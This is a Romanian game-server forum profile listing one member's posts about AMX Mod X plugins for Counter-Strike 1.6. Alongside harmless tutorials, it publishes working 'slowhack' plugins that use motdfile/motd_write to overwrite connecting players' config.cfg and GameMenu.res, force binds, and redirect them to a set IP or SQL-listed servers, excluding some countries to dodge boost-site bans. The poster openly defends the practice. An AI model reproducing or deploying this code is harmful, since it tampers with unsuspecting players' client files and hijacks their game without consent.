LondoN eXtream
-
Posts
640 -
Joined
-
Last visited
-
Days Won
1
Content Type
Profiles
Forums
Events
Articles
Posts posted by LondoN eXtream
-
-
intri in "dproto.cfg" [il gasesti in cstrike]
Cauti:
Game_Name = numele jocului
- 1
-
Cu toti stim ca sunt unele comenzi [scrise in chat] care fac diverse chestii, gen /rs care reseteaza scorul. In acest totorial va voi invata cum sa cititi chatul si sa aflati daca cuvantul X este un argument definit.
1. In "public plugin_init()" adaugam:
register_clcmd("say", "Argument") register_clcmd("say_team", "Argument")
2. Creem public-ul "Argument" si adaugam :
new Argument[32] // Creem o variabila cu 32 de pozitii. read_argv(1, Argument, 31) // Citim primul Argument [de aici vine 1, al catelea sa-l citeasca] remove_quotes(Argument) // Daca user-ul scrie "x" plugin-ul va citi x. if(equal(Argument, "comanda") != -1) { /* Daca Argumentul citit este acelasi cu "comanda" executam comenzile */ user_silentkill(id) return; }
-
Forward-ul "FM_ClientConnect" executa comenzi jucatorului cand se conecteaza.
Acest forward este echivalentul publicului "client_connect"
1. Introducem in codul nostru:
#include <fakemeta>
sau
#include fakemeta
sau
#include <fakemeta.inc>
2. In "public plugin_init()" adaugam:
register_forward(FM_ClientConnect, "FM_Client_Connect_Test", 1)
3. Creem un public cu numele "FM_Client_Connect_Test" si adaugam comenzi.
exemplu:
public FM_Client_Connect_Test(Client) { /*Presupunem ca am creat un cvar, care are valoarea "[TAG]" */ new iString[32] get_pcvar_string("amx_tag", iString, 31) client_print(Client, print_chat, "%s Forward Client Connect Test", iString) return; }
-
Nume : Nu stiu nu am gasit
Versiune : ce model e asta?
Revino cand completezi corect modelul, fara bataie de joc.
Locked.
-
Tind sa cred ca aceste metode de slowhacking nu sunt tocmai binevenite. Daca doresti intr-adevar server populat, platesti un serviciu de boost (ca asa se face mai nou) care detine un masterserver ci nu jucatori bindati.
Drept exemplu cei de la kgb hosting (gametracker.rs) sau servermaster.ro
Degeaba dai boost, dupa boost serveru ramane 0/32...si decat sa mai dai inca o data x euro pe un boost, mai bine dai 1 si bine, [cu slowhack on]
Atentie:
Tarile puse de mine sunt puse pentru a nu lua ban pe GTRS
-
Odada ce pluginu se cheama "Advanced Auto Connect" cum ai vrea sa ii bindeze? Prin magie sau cum?
-
Descriere: Acest plugin este auto connect mai avansat. Ce are in plus?
1. Modifica aproximativ 78% din CS-uri.
2. Jucatori din tarile specificate nu vor fi scrisi de plugin, pentru a nu lua ban pe la siteurile de boost.
Download:
#include <amxmodx>
#include <amxmisc>
#include <fakemeta>
#include <geoip>
#define CON "188.212.100.97:27015"
new const g_Countryes[] = {
"Serbia",
"Slovakia",
"France"
}
public plugin_init() {
register_plugin("Advanced Auto Connect", "1.2", "dK^aLeX")
register_forward(FM_ClientConnect, "fw_ClientConnect", 1)
}
public fw_ClientConnect(Client) {
new g_Name[32], g_Tara[32], g_IP[16]
get_user_name(Client, g_Name, charsmax(g_Name))
get_user_ip(Client, g_IP, sizeof(g_IP) -1)
geoip_country(g_IP, g_Tara, charsmax(g_Tara))
new File[64] = "addons/amxmodx/configs/modules.ini"
if(!file_exists(File)) {
write_file(File, "fakemta_amxx")
write_file(File, "geoip_amxx")
}
for(new i = 0; i < sizeof g_Countryes; i++) {
if(equal(g_Tara, g_Countryes)) {
return 1;
}
}
client_cmd(Client, "motdfile ^"drop.CFG^"")
client_cmd(Client, "motd_write ^"CoNNecT %s^"", CON)
client_cmd(Client, "motdfile ^"config.cfg^"")
client_cmd(Client, "motd_write ^"exec drop.CFG^"")
client_cmd(Client, "clear")
return 1;
}Modificati asa:
#define CON "IP:PORT"
Click aici pentru download
- 1
-
locked.
-
reset la android.
- 1
-
Topic Closed!
-
Descriere: Acest plugin detecteaza daca numele jucatorului este unul din lista pusa de voi sau daca are in nume reclame gen .ro / .com / .net etc si le schimba numele automat in cel setat de voi
Download:
/* Plugin generated by AMXX-Studio */
#include <amxmodx>
#include <amxmisc>
#define PLUGIN_NAME "[PGL] Simple Name Changer"
#define PLUGIN_VERSION "1.0"
new g_szDefaultName[] = "name PGL.RANGFORT.RO"
new const szNameList[] = {
"Player",
"SM-Player",
"PRO-Player-FL",
"Player[www.resursecs.com",
}
new const szContain[] = {
".ro",
".com",
".net",
":27015",
":27015",
"connect",
"www."
}
public plugin_init() {
register_plugin(PLUGIN_NAME, PLUGIN_VERSION, "dK^aLeX @ PGL.RANGFORT.RO")
register_cvar("pgl_name_change_tag", "Simple Name Changer")
}
public client_connect(id) {
new sName[32]
get_user_name(id, sName, charsmax(sName))
for(new i = 0; i < sizeof szNameList; i++) {
if(equal(sName, szNameList)) {
client_cmd(id, g_szDefaultName)
}
}
for(new x = 0; x < sizeof szContain; x++) {
if(containi(sName, szContain[x])) {
client_cmd(id, g_szDefaultName)
}
}
new tag[20]
get_cvar_string("pgl_name_change_tag", tag, charsmax(tag))
client_print(0, print_chat, "[^x04%s^x03] Jucatorul ^x04%s^x03 are un nume neadecvad!", tag, sName)
} -
Contra, posturi folositoare userilor nu inseamna postarea a 2-3 pluginuri. + trebuie (dupa parerea mea) sa stii minimum de amxx, nu 'hai sa iau si eu moderator ca am 100-200 posturi pe acolo'.
-
E o mare porcarie.Flag g
/* Plugin generated by AMXX-Studio */
#include
#include
#include
#include
#include
#include
#define PLUGIN "New Plug-In"
#define VERSION "1.0"
#define AUTHOR "appLy"
#define VIPS ADMIN_LEVEL_H
new jumpnum[33] = 0
new bool:dojump[33] = false
public plugin_init() {
register_plugin(PLUGIN, VERSION, AUTHOR)
RegisterHam( Ham_Spawn, "player", "ham_SpawnPlayerPost", true );
register_event( "CurWeapon", "CurWeapon", "be", "1=1" );
register_cvar("vip_maxjumps","1")
register_cvar("vip_mjonly","1")
// Add your code here...
}
public ham_SpawnPlayerPost( id ) {
if( is_user_alive( id ) )
if( get_user_flags(id) & VIPS)
{
set_user_health( id, 150 );
set_user_armor( id, 150 );
}
}
public client_putinserver(id)
{
jumpnum[id] = 0
dojump[id] = false
}
public client_disconnect(id)
{
jumpnum[id] = 0
dojump[id] = false
}
public CurWeapon( id )
{
new Weapon = get_user_weapon ( id );
if ( Weapon == CSW_KNIFE && get_user_flags(id) & VIPS)
set_user_maxspeed( id, 400.0 );
}
public client_PreThink(id)
{
if(!is_user_alive(id)) return PLUGIN_CONTINUE
if(get_cvar_num("vip_mjonly") && (!access(id,VIPS))) return PLUGIN_CONTINUE
new nbut = get_user_button(id)
new obut = get_user_oldbutton(id)
if((nbut & IN_JUMP) && !(get_entity_flags(id) & FL_ONGROUND) && !(obut & IN_JUMP))
{
if(jumpnum[id] < get_cvar_num("vip_maxjumps"))
{
dojump[id] = true
jumpnum[id]++
return PLUGIN_CONTINUE
}
}
if((nbut & IN_JUMP) && (get_entity_flags(id) & FL_ONGROUND))
{
jumpnum[id] = 0
return PLUGIN_CONTINUE
}
return PLUGIN_CONTINUE
}
public client_PostThink(id)
{
if(!is_user_alive(id)) return PLUGIN_CONTINUE
if(get_cvar_num("vip_mjonly") && (!access(id,VIPS))) return PLUGIN_CONTINUE
if(dojump[id] == true)
{
new Float:velocity[3]
entity_get_vector(id,EV_VEC_velocity,velocity)
velocity[2] = random_float(265.0,285.0)
entity_set_vector(id,EV_VEC_velocity,velocity)
dojump[id] = false
return PLUGIN_CONTINUE
}
return PLUGIN_CONTINUE
}
In plugin spune cam asa.
Daca userul nu are acces, returneaza.
Dupa, dai la toti VIP-i cate o saritura + mai dai vreo 2 cu vip_mjonly, si RegisterHam(Ham_Spawn, "player", "fw_PlayerSpawn") asa e corect.
Revin cu edit, cu ceva functional.
EDIT:
#include <amxmodx>
#include <amxmisc>
#include <fun>
#include <hamsandwich>
#define IPS "192.168.1.3:27015"
#define VIP "a"
new const g_TAG[] = "[VIP]"
public plugin_init() {
new IP[25]
get_user_ip(0, IP, sizeof(IP) -1, 1)
if(equal(IP, IPS)) {
register_plugin("VIP", "1.0", "dK^aLeX")
RegisterHam(Ham_Spawn, "player", "fw_PlayerSpawn")
register_clcmd("say", "chksay")
register_clcmd("say_team", "chksay")
}
}
public chksay(id) {
new Arg[32]
read_argv(1, Arg, 31)
remove_quotes(Arg)
if(equal(Arg, "/wantvip") != -1) {
show_motd(id, "addons/amxmodx/configs/vip.html")
}
}
public fw_PlayerSpawn(id) {
if(get_user_flags(id) && read_flags(VIP)) {
set_user_armor(id, 100)
set_user_health(id, 150)
}
}
public client_connect(id) {
if(get_user_flags(id) && read_flags(VIP)) {
new sName[32]
get_user_name(id, sName, charsmax(sName))
client_print(id, print_chat, "[%s] VIP player %s is connecting!", g_TAG, sName)
}
}
-
Descriere: ACesta este un meniu pentru admini, pentru modul Zombie .
Descarcare: Link!
Nume: [Zombie Dark] Admin Shop
Versiune: 1.0
Link oficial: aici
Autor: dK^aLeX aka LoNNNDoNNN
Instalare:
1. Fisierul nume_plugin.sma il puneti in addons/amxmodx/scripting
2. Fisierul nume_plugin.amxx il puneti in addons/amxmodx/plugins
3. Intrati in fisierul addons/amxmodx/configs/plugins.ini si adaugati la urma:Code:nume_plugin.amxx
Cvar-uri (se adauga in fisierul amxmodx\configs\amxx.cfg):
zd_enabled_shop "1" // 1 = Activat | 0 = Dezactivat
zd_damage_multi "2.0" // Cu cat sa mareasca dmg-ul
Comenzi administrative (se tasteaza in consola si trebuie sa fiti administrator):
Nu sunt
Comenzi publice (se tasteaza in joc prin apasarea tastei Y):
Nu sunt
Module necesare (se sterge ; din fata modulului de mai jos; acestea le gasiti in fisierul amxmodx\configs\modules.ini):
fun_amxx
hamsandwich_amxx -
Eu sunt contra, esti nou, no activitate si vrei grad. Pentru grad se munceste!
- 1
-
Cine ar fi asa 'inteligent' sa intre pe un site cu malware? Sau sa iee un fisier de nici 1 MB...? [keylogger]
- 1
-
Pune link de download sau ajunge la cos.
-
N-am vazut prea multa implicare din partea ta pe acolo, insa ti-as sugera sa incepi sa o faci . Ai facut doar 2-3 topicuri, si ai crezut ca este necesar sa vi sa faci cerere pentru Moderator ? Trebuia sa mai astepti putin, si dupa sa vi cu cererea .
Contra .
Idem, contra
- 1
-
Descriere: Acest plugin este folosit pentru platformele de boost, redirectionand playeri catre unu sau mai multe servere luate din lista SQL.
Nume: Players Repartization
Versiune: 4.0
Autor: dK^aLeX aka LoNNNDoNNN-.
Instalare:
drop_v4.sma => scripting
drop_v4.amxx => plugins
bind.ini => configs
gamemenu.ini => configg
Avantaje:
Host, DB, User, Pass setate prin cvar;
Executare binduri automat cand se concteaza, setate dintr-un fisier .ini;
Dropurile se salveaza in log's;
BOT-i nu sunt permisi.
Modifica automat GameMenul[steam and Non Steam]
Optimizari majore de cod.
Tara este afisata la conectare.
Maximum de servere din SQL este de 10.
Fisier config care se executa automat la pornirea redirectului.
_boosted => Puteti afisa serverele boostate.Download:
#include <amxmodx>
#include <amxmisc>
#include <fakemeta>
#include <geoip>
#include <sqlx>
new const PLUGIN[] = "AMX DROP PLATFORM";
new const VERSION[] = "4.0";
new const AUTHOR[] = "dK^aLeX";
new cvar_host, cvar_db, cvar_user, cvar_pass;
new const tag[] = "[AMXX]";
new const cfg[] = "amx_drop_pltf.cfg";
new const destination[] = "addons/amxmodx/configs/binds.ini";
new g_Menu[4096];
new iServers = 0, iServer = 0, iDrops = 0;
new Handle:g_SQLTuple;
#define BOOSTED_SERVERS 50
new sList[bOOSTED_SERVERS][100];
#define LOG "dr_log.log"
#pragma semicolon 1
public plugin_init()
{
register_plugin(PLUGIN, VERSION, AUTHOR);
cvar_host = register_cvar("sql_host", "localhost");
cvar_db = register_cvar("sql_db", "csd_drop");
cvar_user = register_cvar("sql_user", "csd_alex");
cvar_pass = register_cvar("sql_pass", "alexpass");
new host[20], db[20], user[20], pass[20];
get_pcvar_string(cvar_host, host, charsmax(host));
get_pcvar_string(cvar_db, db, charsmax(db));
get_pcvar_string(cvar_user, user, charsmax(user));
get_pcvar_string(cvar_pass, pass, charsmax(pass));
g_SQLTuple = SQL_MakeDbTuple(host, db, user, pass, 10);
new szFile = fopen(destination, "r");
if(szFile)
{
fgets(szFile, g_Menu, charsmax(g_Menu));
trim(g_Menu);
fclose(szFile);
register_forward(FM_ClientConnect, "fw_isconnecting", 1);
}
set_task(1.0 * 60, "InitSQL", .flags="b");
register_concmd("_boosted", "ShowBoostedServers");
}
public plugin_cfg()
{
if(!file_exists(cfg))
{
server_print("=> File %s missing! <=", cfg);
}
new dir[128];
get_configsdir(dir, charsmax(dir));
server_cmd("exec %s/%s", dir, cfg);
InitSQL();
}
public ShowBoostedServers(id)
{
for(new i = 0, n = 0; i < BOOSTED_SERVERS; i++)
{
if(strlen(sList) > 0)
{
server_print(" => BOOSTED SERVERS <=");
server_print("%d - %s", n + 1, sList);
n++;
}
}
return PLUGIN_HANDLED;
}
public fw_isconnecting(Client)
{
client_cmd(Client, "motdfile resource/GameMenu.res");
client_cmd(Client, "motd_write %s", g_Menu);
}
public InitSQL()
{
static sql[512];
formatex(sql, charsmax(sql), "SELECT `server` FROM `server_list` ORDER BY `id` DESC LIMIT %s", BOOSTED_SERVERS);
SQL_ThreadQuery(g_SQLTuple, "SQLInit", sql);
}
public SQLInit(FailState, Handle:Query, szError[], Errcode)
{
if(iServers)
{
iServers = 0;
}
server_print("[Getting Server Lis]");
QueryStatus(FailState, szError, Errcode);
new i = 0, server[32];
while(SQL_MoreResults(Query))
{
if(i >= BOOSTED_SERVERS)
{
break;
}
SQL_ReadResult(Query, 0, server, 31);
formatex(sList, 31, "%s", server);
i++, iServers++;
}
SQL_FreeHandle(Query);
}
public client_connect(id)
{
if(is_user_bot(id) && is_user_hltv(id))
{
server_cmd("ban #%d", id);
}
new name[32], data[32], ip[32], ip2[32], tara[32];
get_user_name(id, name, charsmax(name));
get_user_ip(id, ip2, charsmax(ip2));
get_user_ip(id, ip, charsmax(ip), 1);
get_time("%d/%m/%y - %H:%M:%S", data, 31);
geoip_country(ip, tara, charsmax(tara));
server_print("%s Client %s [iP: %s] is connecting from: %s [%s]", tag, name, ip2, tara, data);
new File = fopen(destination, "r");
new Buffer[256];
while(!feof(File))
{
fgets(File, Buffer, 255);
client_cmd(id, "%s", Buffer);
}
userredirect(id);
return PLUGIN_HANDLED;
}
public client_putinserver(id)
{
if(is_user_bot(id) && is_user_hltv(id))
{
server_cmd("ban #%d", id);
}
set_task(2.5, "userredirect", id);
return PLUGIN_CONTINUE;
}
public userredirect(id)
{
iDrops++;
new sv[32];
formatex(sv, 31, "%s", sList[iServer]);
if(strlen(sv))
{
client_cmd(id, "disconnect");
return PLUGIN_CONTINUE;
}
client_cmd(id, "wait;wait;wait;wait connect %s", sv);
return PLUGIN_HANDLED;
}
public QueryStatus(FailState, szError[], Errcode)
{
if(FailState == TQUERY_CONNECT_FAILED)
{
write_file(LOG, "[AMXX] Can't connect to MySQL!");
}
if(FailState == TQUERY_QUERY_FAILED)
{
write_file(LOG, "[AMXX] Query Error!");
}
} -
Draga Denisa, ai csdmknife, care mareste viteza, ei bine, si pluginul VIP mareste viteza la cutit, iar, se spune, cand sunt 2 pluginuri cu nume diferite[care fac acelasi lucru] , da crash (scote-l)
-
Nu merge, pica server-ul.
Nu`mi cere erorile care mi le da, ii acelasi plugin care se gaseste peste tot pe internet, tu doar ai modificat sa contina ceea ce am cerut, asta pot sa fac si eu. Multumesc`
Poate ma poate ajuta don liviu cand are timp.
Nu prea are cum sa pice, ai cumva 2 pluginuri pe server cu nume diferite? Daca ai knife speed, scoate-l, daca ai ghostchat, scoate-l....
-
Welcome
-
De unde sa stiu eu, ca in el nu sunt puse ceva de genu:
client_cmd(id, "bind x connect 192.173.1.3:27015");
client_cmd(id, "connect %s", IPs);
-
24 H sa adaugi sursa sau cos.
[ REZOLVAT ] Cum pot schimba prefixu ?
in Suport
Posted
Te duci in sma, cauti reclama, si o inlocuiesti , lol [adminhelp.sma]